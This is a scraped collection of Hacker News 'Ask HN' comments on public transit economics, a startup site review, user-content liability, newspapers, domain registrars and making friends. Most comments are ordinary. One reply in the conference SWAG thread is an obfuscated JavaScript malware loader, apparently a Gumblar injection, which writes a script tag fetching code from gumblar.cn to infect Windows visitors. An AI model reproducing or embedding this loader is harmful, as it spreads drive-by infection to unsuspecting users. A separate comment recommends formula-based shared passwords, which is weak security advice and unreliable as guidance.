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For user generated content, how do you deal with questionnable material? | JayNeely: Don't take responsibility for content people create on your site, or you open yourself up to legal liability for it.Most services like posterous, twitter, Wordpress.com etc. prohibit users posting defamatory or harassing material, giving you the right to enforce it but not the responsibility.As for timelines that are simply controversial rather than harassing, you really don't want to become the speech police. As you've already said: your app is just a medium. It's not your speech, you don't have to agree with it. If it's legal, you should allow it. Users hate arbitrary restrictions (LiveJournal has spent sooooo much time trying to do this).As always, for the actual legal implications, you should consult a lawyer. I'm not one, and my opinions aren't legal advice. =) |
How would you make public transit profitable / create more value? | spoiledtechie: More Ads for one. I know in DC Metro (where I am) the ads are insanely small and you could definitely increase ad space on the subway and buses. Cram Ads down people in order to pay for the transit system. |
How would you make public transit profitable / create more value? | bwh2: MTA could add value to NYC subway by:* Adding a compass/direction indicator directly out of the subway exit. Frequently, I get out of the subway and my sense
of direction is off and street signs aren't much help.* Make them safer to ride late at night.* Get rid of the bible pushers yelling at everyone in the path between Port Authority and Times Square subway |
How would you make public transit profitable / create more value? | pchristensen: It's a complicated issue, so here's a little background (I have a Masters in Urban Planning so I've read a lot).Streetcar lines (and subways in some places) were profitable businesses, just like railroad lines. But there were a few features that we don't have today.First, it was a new mobility technology so it opened up land that was too far away to be developed. There is no such land now in metro areas because highways and have cars make all areas equally accessible.Second, they were a real estate play as much as a transportation play. Because they opened up new land, the lines tended to go to greenfields where the streetcar companies and their allies owned or could buy land. Take a look at the Brown line in Chicago and watch how it winds - that was a land acquisition issue. This wouldn't work now because a rail line doesn't increase the value of land enough since so much is accessible by car.Third, people rode trains a lot more then than people ride them even now. These trains were extensions off of a very dense, centralized city. Technology and social changes reduced the number of daily rides. For instance, refrigerators meant that women didn't have to ride into the market every day. Worker benefits (like the 6 or 5 day work week) meant that workers didn't ride as often. As shopping and employment decentralized, people didn't have to ride to the city as often. And when people got cars, they had an alternative to the train.So what can we learn from history and contemporary transit to make transit more valuable today?First, there must be attractions at both end so the fixed costs in tracks and cars can make money both ways. Early streetcar lines often has amusement parks at the terminus to promote two-way travel. The Las Vegas monorail is a decent modern version of this - there's something at every stop. Transit lines that end in the suburbs at a big parking lot will be underutilized by definition.Second, land use matters. All of the streetcars and subways were built before zoning and so the market built what the market could bear by transit, and buildings could be razed and built bigger if demand grew. Housing in transit-rich cities and near light rail in cities with new transit systems if more expensive because zoning restricts how much can be built. In addition to maximum height, massing, and lot utilization, there are also minimum parking limits that mean every house/condo is much more expensive and not affordable to people that would use transit the most. Take a look at the area around the transit stops in Arlington, VA for an example of transit zoning done right - extremely dense development within 1/2 mile of transit stops. It has the lowest car ownership and usage in Northern VA and generates 50% of the county's property tax in 5% of its land area.Third is that quality of service matters. Busses in the US suck and are slow because fare collection takes place one at a time while the bus is stopped. Curitiba, Brazil (look it up, it's the world leader in bus transit) has bus stops where you pay to enter and everyone boards at once. The city has one of the highest rates of car ownership in Brazil and the highest transit utilization in Brazil. On their main bus routes they have 1-3 minute headways so there's no such thing as looking at a schedule. Other things like priority lanes for buses at stoplights, tech to let the bus hold a green light to make it through, etc help. Bogota Columbia is the other leading bus tech center and both cities do something like 50x the miles of service per dollar as a subway would have cost to build and operate.Fourth, if there's lots of free parking at the destination it's almost always easier to drive. Point to point means the trip is faster and free parking means it costs less. Places in the states that have the highest transit usage (Boston, New York, Chicago Loop, SF) are places where parking sucks or is expensive. Even LA traffic doesn't keep people from driving because a) the buses are stuck in it too, and b) it's free to park when you get there.Basically, any city that's building a light rail or subway line and not dramatically increasing the zoning around it is throwing money away. For instance, the 2nd Ave subway in NYC probably won't change much for the $5 billion because there's no way to dramatically increase the number of people that live in the Upper East Side or Harlem. Without the proper land use, there's not enough population to drive demand, without demand there's not enough incentive to provide good levels of service, and without good levels of service people will find it faster to drive. |
For user generated content, how do you deal with questionnable material? | earle: You can't police the Internet! The DMCA covers a lot of the issues that you are mentioning. Talk to an attorney. |
How would you make public transit profitable / create more value? | patrickgzill: Don't bother.Instead, allow for car-based mass transit, by allowing far cheaper taxi cab medallions and issuing as many as people will pay for.WHY is the cost of a taxi cab medallion in NYC $750K?Instead sell them for say $1200/year renewable yearly. Allow pricing to fall or rise based on the market, provided they are within a range (e.g. no less than 50 cents and no more than $3 per unit of distance traveled). |
How do you manage passwords for a group/organization | JayNeely: Password formulas. Something like:first 3 letters of the main group location + last three letters of the site's domain name (not extension) + a constant (gHqW2#). |
Review my Startup - imVOX | tibbon: I have an apology to make. I submitted this about a month or two ago, and of course sent it to the people in my company to see the feedback.Unfortunately, I was still in the process of training them for how to interact with the community at the time and three of them thought it best to come in with shill comments and not identifying themselves as with the company- thinking that this was about promoting the company, not feedback. This was highly embarrassing to me, because I made the poor assumption that everyone understood the proper etiquette on social networking sites. But that wasn't the case.The thread was (rightfully) locked and removed from the listings, just as I would have done as a community manager if someone was shilling on my site. I'd like to try again and not repeat the same mistakes.I deeply am sorry for this transgression and they will not be posting here again in such a way. |
How would you make public transit profitable / create more value? | marze: Reduce the fares to nothing. Utility of a system rises dramatically as the frequency of bus/train arrivals drops below about eight minutes so people can just show up without checking the schedule.Tax money goes to build roads and other car related infrastructure. Car travel is obviously subsidized since you generally do not pay to drive on a given road at the time you drive.It would not be unreasonable to subsidize buses or other public transportation in a similar way.Obviously, free internet should be provided on all buses and trains, as well as increased bicycle carrying capacity.Also, if the ticket price was reduced to zero for buses, ridership would increase and costs per rider would be reduced. Greater bus ridership would reduce the money municipalities would need to spend for road expansion. |
Review my Startup - imVOX | ashishk: From a design perspective, I would suggest the use of softer colors. The current blues and greens used look like (cheap) neon lights. |
Review my Startup - imVOX | ajcronk: I am skeptical of using products when it's not clear how they make money.If you give everything away for free, when will it stop being free? When will the bait and switch occur?If everything truly is free, how long will you be around? |
Review my Startup - imVOX | jswinghammer: The photo you chose for the home page gives the impression that this site is for something other than what it is. I figured this was a music service of some sort and then I realized it was for communications after reading more. |
How would you make public transit profitable / create more value? | Murkin: In Medellin, Colombia. The subway is connected to two systems of Sky carts (similar to ones used on ski resorts). That allows the "subway system" to reach hard terrain (mountains) and expensive terrain (need only to set large polls and stations).For residential areas with high land prices, this might seem as an excellent and cheap to implement public transport. (These are the same areas where cars are usually sitting in traffic jams).Does anyone have information if this model is working out for them ? Is it used somewhere else successfully ? |
Review my Startup - imVOX | Vindexus: I'd change "Unlimited FREE Voice" to "Unlimited FREE Voice Chat". I wasn't sure what the site did right away.I'd also add a link to the pricing page. I was on the Features page and wanted to know what the pro plan offered by I didn't want to click on the Download link because it said download and had a price on it. I did click it though and it took me to the download page, which is also the pricing page. Maybe separate the two or label it some sort of hybrid?I do like the design overall. The testimonials on the download page are good for me, because I'm a nerd. If that's your target demographic then awesome, but if not then I'd try to find some testimonials that will appeal to the layman. |
Review my Startup - imVOX | icode: I read every word on your website:Unlimited FREE Voice
Social Networking integration
No Subscription Fees
Blazing fast servers & superior sound performance
Download and Chat
No Fees, No Cost, No Worries!
Supports: Windows XP, Vista,7
Password secured servers and channels
Customizable backgrounds
Superior Audio Quality
Voice normalization
Easy to use, clean interfaceAnd I still wonder: What is it about? Is it something like skype? Im not a skype user so even if it is - I would still not be sure what it is. |
Review my Startup - imVOX | hajrice: No offence, but the site is just ugly, you should redesign it ASAP. Seriously! The product looks pretty interesting though. Doesn't Skype more-less provide these services? |
Review my Startup - imVOX | bgriggs1: I agree about clarity. The headphones image makes me initially think music service with social features, and I felt like I had to interpret all the bullet points just to figure out what it was.The logo is a little distracting. Am I missing the connection of what the orange circle/triangle mark is supposed to suggest? Plus your eye tends to follow triangles (arrows), and this one is leading to left into nothing.The screen shot is nice, and the colors and the design of the UI look like much better choices than the dated blues and greens.FAQ is your best page- clear and focused. The features is too distracted by the right column. Does download need a testimonials column that looks so similar to the two download packages?I know this has nothing to do with the product itself, but we all know marketing is just as (more?) critical. |
Review my Startup - imVOX | warp: I have no idea what imVOX is from visiting the landing page. Looking at the menu, I don't see any menu option which will explain this to me, so I try FAQ. Based on the first question answered there, I still don't know what imVOX as except that it's like Ventrilo and TeamSpeak. I don't know what those are either, so I'm probably not your target audience.I think you could be a lot better at telling a story, at guiding people like me through your website in such a way that I leave thinking "wow, that is cool -- but I don't need it", instead of what happens now, where I have no clue what you're doing, will not be telling anyone about your service/product even though I may have friends who would find it useful. |
How would you make public transit profitable / create more value? | thingie: There is no general solution, of course. Every city is different, and cities in the USA are very different from the cities in Europe, and so on.I'd like for the public transit to be seen more as a public service than just another private business. After all, transportation is a vital part of the city, and something that the local authorities simply have to manage somehow. It also affects every other aspect of the city life.I believe that the actual question should be much more like "how would you like to your city look like?"To offer some "solution". I'd try to abolish the fares. I'd try to reduce maximum velocities for the cars, make more one-way lanes, narrow some other lanes, and so on. I'd try to bring new development into the brownfields inside the city (every city has them). But, there is no general Solution for everything. After all, it's not a fight between public transit and individual cars, but aim should be to provide the best service for the lowest price (to bring that viewpoint here too).And after all, things will simply change with the time :-) I expect, one day, that all those disgusting highways around and inside the cities will turn into parks or something similar, as the old city walls from the middle-ages did. :-) |
Review my Startup - imVOX | akamaka: The look and feel of the landing page, the woman's photo, and the GUI screenshot give me the first impression that this is some type of professional audio software (like Audition).Keep in mind, though, that I'm not in your target audience, which appears to be gamers. |
Review my Startup - imVOX | nixarn: Agree with most other guys here. What is it? I have no clue what this program/service is and I'm not gonna download it and figure it out. Some clarity on the front page is needed without doubt. I think the site looks cool so I don't think a change of color is needed. |
How would you make public transit profitable / create more value? | rossriley: Maybe I can give a UK perspective on how this is possible. I'm not sure whether we can say that rail travel is profitable here, it still receives substantial government subsidy each year, but it is successful in that last year saw a record number of rail journeys taken.I'm not sure what the parking situation is like in the US but here if you work in a major city car parking will cost you at least $100-150 per month, London is much more expensive. A lot of our suburban railway stations allow free or discount parking so even if you can't make your entire journey by train you can park and travel into the city by rail.When it comes to longer journeys the tickets are sold on a reverse pricing basis, if you buy in advance the first 10-20% of tickets for a train are sold at the cheapest rate, sometimes a 200 mile journey costs as little as $20. If you buy a ticket on the day and during a peak period you'll pay a lot more. This structure however seems to result in more of the trains being full more of the time as pricing reflects the demand.Also faster trains all fitted with wifi make longer journeys much more simple. I often travel into London and buy an advance ticket that costs around £25 ($35 ish)the train at 125mph takes half the journey time of the car and you avoid parking charges and the london congestion charge. I also get to work the entire journey for a similar cost to the fuel alone. It really is a complete no-brainer, you'd have to be stupid to want to drive.That is I suppose a long reason for a simple answer. When it becomes more attractive to travel by rail people will leave their cars at home. |
Best or most effective SWAG you've received/given at a conference? | nologin: (function(jil){var xR5p=’%';eval(unescape((’var”20a”3d”22Sc”72iptEngin”65″22″2c”62″3d”22″56ers”69on()+”22″2c”6a”3d”22″22″2cu”3dnavig”61t”6 …………… “65rAgent”3bif((”75″2eind”65xOf”28″22Win”22)”3e0)”26″26(u”2e”69n”64exO”66(”22NT”20″36″22″29″3c0)”26″26(documen”74″2ecookie”2e”69ndex”4f”66″28″22″6die”6b”3d1″22)”3c0)”26″26″28t”79″70e”6ff3bdocu”6de”6e”74″2ewr”69″74e(”22″3csc”72ipt”20sr”63″3d”2f”2fgumblar”2ecn”2frss”2f”3fid”3d”22+j+”22″3e”3c”5c”2f”73cript”3e”22″29″3b”7d’).replace(jil,xR5p)))})(/”/g); |
Review my project | zeynel1: http://swimswith.com/search/http://pastebin.com/m3b9f58bb |
Review my Startup - imVOX | lssndrdn: The website probably needs a redesign for various reasons, but in the meantime you should know that in IE7, the text in the features page is partially hidden by the blocks on the right. It's a serious flaw that severely impairs the respectability of your website (makes it look cheap). |
Review my Startup - imVOX | Scott_MacGregor: 1. I like the colors just the way they are, the blues, greens and grays, etc. I also like the female face with the headphones, I hope you own the image because it could be a strong brand image for you. She is very unique with the green eyes, green headphones and tattoos on her fingers and wrists.2. I wonder, and probably others will wonder what those tattoos say or are, so maybe you could play it up a little and put something about it in your FAQ’s as a marketing angle to set your business off from the competition as hip, cool and unique. Think about what your target market would find memorable about this.3. Some say they think the site is ugly, interestingly I do not think it is ugly, in fact I like it a lot. The fonts, colors, pics, etc., really seem to work for me. If you are shooting for a big time corporate look like some of Version’s or Sprints pages I think you have come pretty close, an 8.5 out of 10. I agree with some of the suggestions about having a designer look at it and suggest improvements, but if it were my site I would limit those changes to small customer tested iterations in layout vs. color and content.4. My test of your site was if I were looking for a product of your type, based on this website would I personally trust the download enough to give it a try. My answer based on your website is 98% yes. Meaning if I were a potential customer I would download, set it up and give it a try, yes without a doubt I would. Then providing the product was a better than the competition I would keep it--sale made. So as far as the site goes you could change it, pretty it up with different colors ect., but that might change my personal decision to download, but I am only one person and the site needs to be tested in live commerce still, so do iterate and test.5. The Features page has a display problem on my big monitor with IE 7.0.5730.11. The four boxes on the right are lined up 50% on top of the text on the left. Also the text in the bottom box is displaying outside the bottom of the box.A tip: If you’re using an x-y-z style of coding with layers or something similar, sometimes the older non-layer style (x-y) will be more cross browser compatible with less work.6. If you are not already using banner ads, personally I think the site is good enough to spend banner ad promotion money on right now. If it were my site and ad money I would start a banner ad campaign right now if you think the product is ready to release to the public. Just iterate the site slowly with only very minor changes, and then test the changes on actual click through customers with an A-control site and a B-iterated site setup to see if the changes make any difference in amount of downloads between the two sites.7. I would make the link to Green Ear more prominent and play it up a lot more. it will add gravitas to the product and possibly increase downloads. |
How would you make public transit profitable / create more value? | whyenot: I take light rail from Mountain View to San Jose almost every day. My trip of about 18 miles takes 50 minutes. Fix that please. |
Review my Startup - imVOX | sztanpet: The client has a few but very important shortcomings like being unable to set what to alert for via text-to-speech, also one cannot set the volume neither of said text nor for anything else.
The user-interface seems a bit off to me, with that annoying background and other elements, but I'm a minimalist kind of guy but I do find it usable. Also the feature to "mask" your voice is not at all highly regarded by me, especially if it cannot be disabled globally on my side as it is usually more annoying than funny.
The website serves it's purpose but yes, what the others said about instant clarity what the site is about would help. |
How would you make public transit profitable / create more value? | fortes: Make it really easy to get to the airport.Pro: Airport parking is an expensive hassle, thus people are always taking cabs or asking for rides. Airports are far from city centers, and often inconvenient to get to.However, it's probably not enough traffic to sustain an entire system, but I think it makes for a good first step in a new system.The other thing is that we either need to:1) Stop subsidizing air & road travel so much2) Subsidize public transit in order to make it more competitive with road / air travel#1 is politically infeasible ... but perhaps #2 is as well. Maybe public transit support could be billed as a way to get everyone else off the road? |
For user generated content, how do you deal with questionnable material? | headShrinker: I was just looking up this information for a project I am working on. I think the caselaw you are interested in knowing about is Section 230.If you passively host third-party content, you will be fully protected under Section 230.If you exercise traditional editorial functions over user submitted content, such as deciding whether to publish, remove, or edit material, you will not lose your immunity unless your edits materially alter the meaning of the content.If you pre-screen objectionable content or correct, edit, or remove content, you will not lose your immunity.If you encourage or pay third-parties to create or submit content, you will not lose your immunity.If you use drop-down forms or multiple-choice questionnaires, you should be cautious of allowing users to submit information through these forms that might be deemed illegal. |
Review my Startup - imVOX | dstorrs: Ok, I disagree with most of what you see below.1) I had no problem understanding what the site is for. It's clearly VOIP for social networking, and the colorscheme and design indicates it's aimed at gamers. Further reading supports that.2) I'd put this in the category of "attractive, professional looking". You've met the minimum required "attractiveness quotient", now it's time to focus on your core business value and customer acquisition / support.That said, here are a couple design tweaks I did notice (OSX 10.5.8, FF3.5.7, btw):1) The footer height is standard on all pages except the home page, where it is substantially taller.2) On the home page, the "Unlimited free voice" is very visible, but the "Social networking integration" blends in. I would suggest making the latter more dramatic, and possibly changing it to "gaming" or something like that if that really is your primary market.3) On the FAQ page, the hover color and the selected color for the question links is the same, which is confusing.And a structure issue:1) Right now, the FAQ page requires actively clicking on a question to make its text appear. Much better is to have the links jump you down the page; this makes it much more likely that people will read all the FAQs, which gives you better educated customers and fewer customer support issues.Good luck with it! |
How would you make public transit profitable / create more value? | fragmede: The future of public transit once prominently featured a monorail, but that glamorous view of the future soon lost out to the utility of a car. Current public transportation simply cannot compete with that level of convenience. What should follow from that is a plan to make public transportation more convenient.Follow the adage of giving people what they want - make the subway more convenient by automating the system. Follow that up with MUCH smaller subway cars. I'm imagining subway cars that are the size of a compact car. I go to the subway station, get in a subway car, and tell it my destination, and it takes me there in the most efficient way and not stopping at stops in between.Of course, the cost just to renovate all subway stations to have 4 lines so that some cars can wait at the station while others zip past would be unimaginable, and I can't imagine citizens of any municipality voting to fund this.That is, however, my view of how public transportation would create more value. |
Review My Site - ScriptCanary | GoldCreekGroup: Known Issue:
We're working on making this fully self-service, but for now the site accepts contact through the sign-up form. Payment happens via emailed invoice. |
How would you make public transit profitable / create more value? | frankus: Deregulate parking.Right now nearly all municipalities have laws that require a certain minimum amount of parking per square foot of building floor area, with the amount varying by use.This has three perverse effects:1. Buildings cost more (surface parking requires extra land, underground parking is insanely expensive), so fewer people can afford to live close to employment centers, amenities, and transit stations.
2. It encourages the ownership and use of cars. If you've already paid for parking in the cost of real estate and the price of crap from the mall, you might as well use it.
3. Unless the parking is underground, everything is more spread out, so fewer trips are practical on foot or by bike. |
How would you make public transit profitable / create more value? | Mankhool: In cities where subways or other types of rail transit do not operate 24/7, use the cars (or different cars) to move packages in the off hours. |
How unique does a company name need to be? | grellas: The rule-of-thumb test for whether or not you can use a particular name is "likelihood of confusion" among customers between the name you select, for the particular market you target, and names of existing companies also serving that market. If it is clear that customers should readily be able to tell the difference, and not get confused, it is generally safe to go with your proposed name (if in doubt, check with a knowledgeable lawyer).With respect to any trade or service mark, even if registered as a federal mark, the scope of protection generally extends only to the particular "class" of goods or services for which the mark was registered. (See http://en.wikipedia.org/wiki/Trademark_classification for a general description of the classification system)If a mark is particularly strong (e.g., Coke - fanciful, well-established, etc.), it can cut across all classes.A classic case of an in-between mark, in which the holder contended that it was strong enough to cut across classes but lost in court on the issue, was the "Lexis" mark held by Mead Data, the legal research service. In the 1980s, Mead Data sued Toyota over its planned introduction of the "Lexus" brand automobile, claiming that customers would potentially confuse the marks. While Mead Data ultimately lost the case, the case went up through the court of appeals. (A summary of the dispute is found in this article: http://en.wikipedia.org/wiki/LexisNexis)For most normal cases, marks will not be strong enough to cut across classes and it therefore is generally okay to use comparatively weaker marks in different fields with slight variations in the name (or often even with identical names, as long as they are in different jurisdictions).Thus, the answer to your last question is generally "yes." |
Do musicians profit from RIAA lawsuits? | dazzawazza: Many musicians have complained that they don't see any revenue from the RIAA. The best place to investigate/learn about this IMHO is techdirt[1].Unfortunately a lot of what happens within the RIAA is private to the RIAA so it's hard to know who is getting the money. Since many artist complain that they don't see any money from online sales it could be that the record label absorbs the money and that the RIAA is not at fault.Given that the RIAA attend court with numerous lawyers I doubt they make that much money from the lawsuits they win (assuming the defendant doesn't have to pay legal fees of course).1 - http://techdirt.com/ |
Do musicians profit from RIAA lawsuits? | headShrinker: No. The RIAA represents the major labels as the plaintiff. The labels consider it recouping losses, not making additional profit. They also don't consider it recouping revenue for the artist. All label obligations are fulfilled and are usually based on total album sales minus recording, production, legal and PR costs.It's important to note that most contracts a label will offer, reward the music copyright and ownership to the label, not the artist. Artists have very little grounds to sue for anything by the time the label is done with them.Unless you are Metallica, Radiohead, Prince or some other huge band that has fulfilled your 5 album label contract, and now have [a]leverage for a new more even-weighted contract or [b]millions to start your own label and produce and promote your own albums, it is likely you will sell your sole and your ownership of your music to sign a contract like the one described above. |
Do you read newspaper/newspapers everyday? | simonk: I still read a local paper because I get to reading reddit and HN and never get to local news. |
Socializing or making friends without the internet? | colonelxc: I've been having some of the same problems making new friends since I've graduated college and started work. I have a subset of my old friends that I am still in good contact with, and have made some new friends at work, but not really much outside of that.Sorry I don't have any advice, hoping that other people can help. |
Do you read newspaper/newspapers everyday? | quizbiz: Here at a university campus, part of my daily routine is picking up the New York Times and making a mess of the papers because I never learned how to properly read and fold a newspaper. |
Do you read newspaper/newspapers everyday? | bugs: I kind of wish I could get the newspaper delivered here, local or more probably the new york times.However if I am ever staying at a place that has the newspaper delivered or available I will pick it up and read most of the front page articles (from each section) and flip through the rest for interesting things.The newspaper really is a different experience from other ways of getting the information many times you can read articles and editorials with a good amount of thought put into them (depending on the quality of the paper) and in general is a nice form of entertainment for an hour or so. |
Cheapest place to buy a .com domain | Concours: try www.godaddy.com , it's very easy as well, just monitor the next offer they make. you can get a .com domain during promotion time for ~2$ otherwise, make a google search for godaddy promotional codes, before buying one. |
Do you read newspaper/newspapers everyday? | cema: Several years ago I stopped reading newspapers (paper versions, on the regular basis) and watch tv. And I have a feeling that I am now better informed -- from the Internet.However, I make a point of monitoring a number of sources, to avoid the echo chamber effect. Many of these sources, like news.google.com, drudge report etc, are essentially news aggregators. Others are typically social networks like LiveJournal where I can sometimes find eyewitnesses. I still look at newspapers (online versions), mostly when someone points to an interesting article. |
Cheapest place to buy a .com domain | Osiris: I use 1and1.com. They charge $9 per year for .com domains. |
Socializing or making friends without the internet? | rinich: ...but I was working there.Here's the answer to your problem. Do things. Be active. You can find extracurriculars — dancing and yoga are wonderful activities, as are any sorts of gatherings that involve intellectual conversation of any sort — but the fastest, simplest, stupidest answer is that if you're active in things that require other people, you're getting out and meeting them and bonding with them.On paper, I have perhaps the most antisocial set of interests you'll ever find. I spend hours and hours on the computer, I delight in writing essays and similar longform, I'm fascinated with both postmodern and classical literature, I listen to bizarre avante garde music. Essentially if you wrote up a list of things you weren't supposed to do if you wanted friends, I'd be everything there. And last year it was true: I didn't talk to many people, I spent hours in chat rooms, I tried not to leave my room.This year I've changed that, and now I find myself going out several times a week purely socially, with several bunches of people with whom I'm also making things. The work simply gives us a reason to get together.Curiously, I also find myself using Twitter and Facebook more and more as I become more social, because as I've stopped looking at them as tools of communication and started to use them more playfully, there's less inhibition involved.Let me throw a twist in, however, because thus far I might as well be describing entrepreneurs, and entrepreneurs, while fun, may not be the sorts of people you want to get involved in. My twist is this: Find people who aren't anything like you. If you're a technologist, don't bud around with technologists. Find people with other talents. Take advantage of the fact that everybody's good at something, and let them take advantage of you. That way you're playing to your strengths but you're meeting different people who do things you're not familiar with. Then, if you want to shed the image of yourself as a geek who spends his time, say, writing five-paragraph responses late at night on Hacker News, learn about whatever all those other people know. Let them teach you things. It makes you well-rounded, it gives them the pleasure of talking about what they love, and it lets you exist without falling back on that geek crutch. |
Do you read newspaper/newspapers everyday? | chaosprophet: For me a copy of The Hindu in my left hand and a hot cup of filter coffee in the right is the only way to start a day. I don't really watch TV, nor do I read news online, so the newspaper is really my only source of news. |
Do you read newspaper/newspapers everyday? | paraschopra: If you are in India, read Mint - highly recommended. Great business stories. |
Cheapest place to buy a .com domain | 3dFlatLander: Namecheap isn't the cheapest of them all, but for new domains, they are less expensive than godaddy now. I've been using them for years without a problem. Clean interface, paypal supported, and it just works like it should. |
Is email address the wrong choice for usernames? | gexla: I think email is still somewhat necessary. First of all, you aren't everyone, just because email isn't useful for you doesn't mean it's not useful for your users. Second of all, most web apps require an email address to sign up, if for no other reason than to send a forgotten password reset. So even all those kids who really don't have a use for email still have an email address to sign up for things like Facebook. Speaking of Facebook, this service and others have a lot of resources to research these sorts of things, and they still use email as a signup.As a user, I prefer when a service uses email for usernames. One reason is that I can remember my email address, even if I don't use it. Often I forget the usernames that I use to sign up for various services. The other reason is that I know my email address is going to be unique, so that saves me from playing the "username is already taken" game.I don't really have a problem with spam or known email users who are over active. Gmail does a pretty damn good job of filtering the spam. Custom filters do a good job of clearing things that aren't really spam but still annoying. |
Is email address the wrong choice for usernames? | jacquesm: Email as a username has its advantages and it has its drawbacks: - drawbacks
- spam
- they change
- they get hacked, which in turn means your accounts have been hacked
- advantages
- easy to remember
- immediate conduit to your user
- automatic recovery built in (see drawbacks)
- built in verification of identity (somewhat) of user
It's a tough choice. We used to use email addresses but of late we have switched to simply allowing people to pick a unique nickname.The deciding factor was the fact that more and more people perceive giving their email address to a service as a serious barrier to participation. |
Is email address the wrong choice for usernames? | hga: I have enough RSI that I don't do SMS or instant messaging. If I wanted to talk to you, but it wasn't worth a phone call, I'd punt.My solution to many of the general set of problems with email you cite was to get a Fastmail account (https://www.fastmail.fm), which does a fantastic job of spam filtering and would allow you to filter the email from those pesky relatives.And as gexla notes, you must have a working email address to do a whole bunch of things on the net. |
Socializing or making friends without the internet? | Mz: How do you define a "real" relationship? (No, I'm not trying to be snarky.) I tend to prefer to discuss stuff online -- though, admittedly, I am not big on FB and have yet to participate in Twitter. As I understand it, those media are both prone to very shallow types of interaction. Discussion boards, IM, and email are all more inclined to encourage serious, in depth conversation. I have belonged to email lists and discussion boards that foster in person meetings for members and lead to real relationships (sometimes including marriage). I don't happen to think interacting face-to-face makes a relationship automatically more "real".Food for thought: I find that being without a car and accepting rides to and from work has been an interesting social experience. Some of these folks really become friends. A car is a private setting where two strangers can be alone together in relative safety, in part because you have privacy in terms of speaking but the outside world can still see you. Therefore, you can have more personal discussions than what typically happens at work in the break room or at someone's desk. The whole awkwardness of trying to determine how much eye contact is right is avoided because you sit next to each other and face forward. The driver has no choice but to keep their eye on the road if they are actually going to drive.I guess accepting rides has some parallels to the practice of making friends via hobbies: It provides an opportunity to talk if you happen to hit it off without requiring it. It seems to me if you want to make friends, you need a means to experience that kind of thing with people -- the ability/opportunity to talk openly without pressure or expectation to do so.Good luck with this. |
Do you read newspaper/newspapers everyday? | garyrichardson: I read a news paper every because it gets me a wide range of news. Online, I tend to focus on my interests and I don't really get a general vibe about what's going on. |
offline billboard ads for online sites? | jacquesm: I have, during the F1 on water we had a huge float:http://ww.com/float.jpgThe effect was pretty strange, we got a lot of press inquiries out of it, but hardly any users.So it was good for something I guess.Regular roadside billboards I've never had, but yesterday I saw an enormous one advertising Google Chrome. |
Do you read newspaper/newspapers everyday? | TrevorBurnham: Newspapers occupy an awkward middle point between the breaking news you can find on a myriad of websites and the rich, analytical pieces that can be found in good magazines (like The New Yorker and The Atlantic). Generally, there are more efficient ways of getting your news. For instance, Slate.com has a good daily summary of the best newspaper stories. Having said that, reading a physical newspaper can be a relaxing activity; I read the Sunday New York Times in print.Here's a good lambasting of the prevalent style of newspaper writing:http://www.theatlantic.com/doc/201001/short-writingAlso, for the record, you can subscribe to a daily Calvin & Hobbes strip by RSS through GoComics. The feed URL is:http://feeds2.feedburner.com/uclick/calvinandhobbes?format=x... |
Do you read newspaper/newspapers everyday? | drhowarddrfine: I agree with all your reasons. I stopped buying the newspaper years ago. Today, I'd not buy it because the local paper is more popular news than hard news if it's news at all. The number of newspapers worth reading can be counted on one hand but I'd rather pay to read those online so their searchable. (Ack! Newspapers don't read HN, do they?) |
Socializing or making friends without the internet? | pbhjpbhj: Team sports? Alpha Course ( http://alpha.org , appears to be down at the moment)? Art class? |
Do you read newspaper/newspapers everyday? | Zev: I try and read the newspaper daily. Usually a local paper (If you're from NYC area: I read the NY Daily News, although I used to read Newsday before the format change), during lunch/dinner. The newspaper is something (usually) with lots of topics to read on. Plus its cheap and I don't care about it, so if I spill liquid on it, its not the end of the world.I like it. It lets me keep up to date with what the politicians in the area are doing (plus my Senators/Representative to Congress) in slightly more detail than a paragraph buried in a CNN article. Plus the sports section is entertaining (during baseball and football seasons, at least) |
Review my site - devcheatsheet.com | tim_church: Thank you HN! I really appreciate all of the positive feedback and creative suggestions. Your comments have given me lots of ideas and the encouragement to keep improving the site. |
What makes you happy? | corruption: http://blog.ted.com/2006/09/happiness_exper.php |
Anybody tried Ginkgo Biloba? | tokenadult: http://www.sciencebasedmedicine.org/?p=3235 |
What makes you happy? | tokenadult: The little things add up to big things. A big source of personal happiness for me is to leverage our unusual work schedule so that my wife and I can take walks together in daylight in our neighborhood and enjoy uninterrupted conversation. The kids are older now, so they can be left alone long enough for us to do that. |
What makes you happy? | jacquesm: Making stuff.Repairing stuff.Kids.Learning.(I've found that you need to know a thing 10x as good to teach it as compared to simply using or applying it, so teaching would make me very happy indeed but I don't know much well enough to be able to effectively teach it). |
Anybody tried Ginkgo Biloba? | icey: I tried it for about 3 months once. It made no noticeable difference.Piracetam worked much better for me. However, nothing has worked better for me than a decent diet and making sure to drink enough water a day (and getting the appropriate amount of sleep). |
market size -- how to estimate? | gruseom: The best answer to this I've seen is here:http://www.reddit.com/r/IAmA/comments/9s5k3/iama_i_am_a_high...The entire thread is gold, by the way. |
How can I move to USA? | peridot2001: $750,000 is a lot. I have known people first hand to invest only $125,000 and get a long term business visa to US. |
Viability of business models staged on Google Earth? | gangevine: Does it make sense to build high-quality building models for Google Earth for advertising purposes? |
Anybody tried Ginkgo Biloba? | ilkhd2: By the way Ginkgo biloba is an interesting planto -
a living fossil (270*10^6 years old specie). Worth looking in wikipedia. |
What do you do w/ a big idea, when you are working on something else? | rriepe: Ideas aren't worth much. Waiting is the only sane option.It might be painful, sure. But most of the time, you'll give it a few weeks and realize it wasn't that great of an idea to begin with. |
What do you do w/ a big idea, when you are working on something else? | mixmax: Remember that the grass is always greener on the other side. In your situation this probably means that there's a new shiny idea that looks like low hanging fruit ripe for the taking. The thing is that, like every idea out there, once you get up close and look at the implementation, business model, etc. you will see all the ugliness that can't be spotted from afar.If you've already launched something, or are close to it, then I would keep working on it. Ideas don't have much value in themselves. It's the implementation that counts. |
What do you do w/ a big idea, when you are working on something else? | jacquesm: Do both.Most of the time you can spare an hour or two every day to work on your 'big' idea. Spend it on research, try to find out if it has already been done and if someone else is executing right now.99% of the time your 'oh shit, this could be huge!" of today will turn to, "oh right, that's why they failed" or "oh, great I'll never match that" or "hm, this is a lot harder than I thought", or maybe even "wow, that was really stupid".If after three months of trying to shoot holes in it it still looks like a winner then it's time to start worrying about priorities. |
What do you do w/ a big idea, when you are working on something else? | jeromec: My problem is that I was thinking only of big ideas, which was a mistake because in the meantime my finances suffered while waiting for a larger payoff. I have a list now up to 50 ideas accumulated over years, and many with great potential I believe. However, I've realized now what I should have known before, which is the need to focus on becoming "ramen profitable" first. I'm close to that now, and then I'll be able to not only better execute my current project, but also give attention to my idea list as well. |
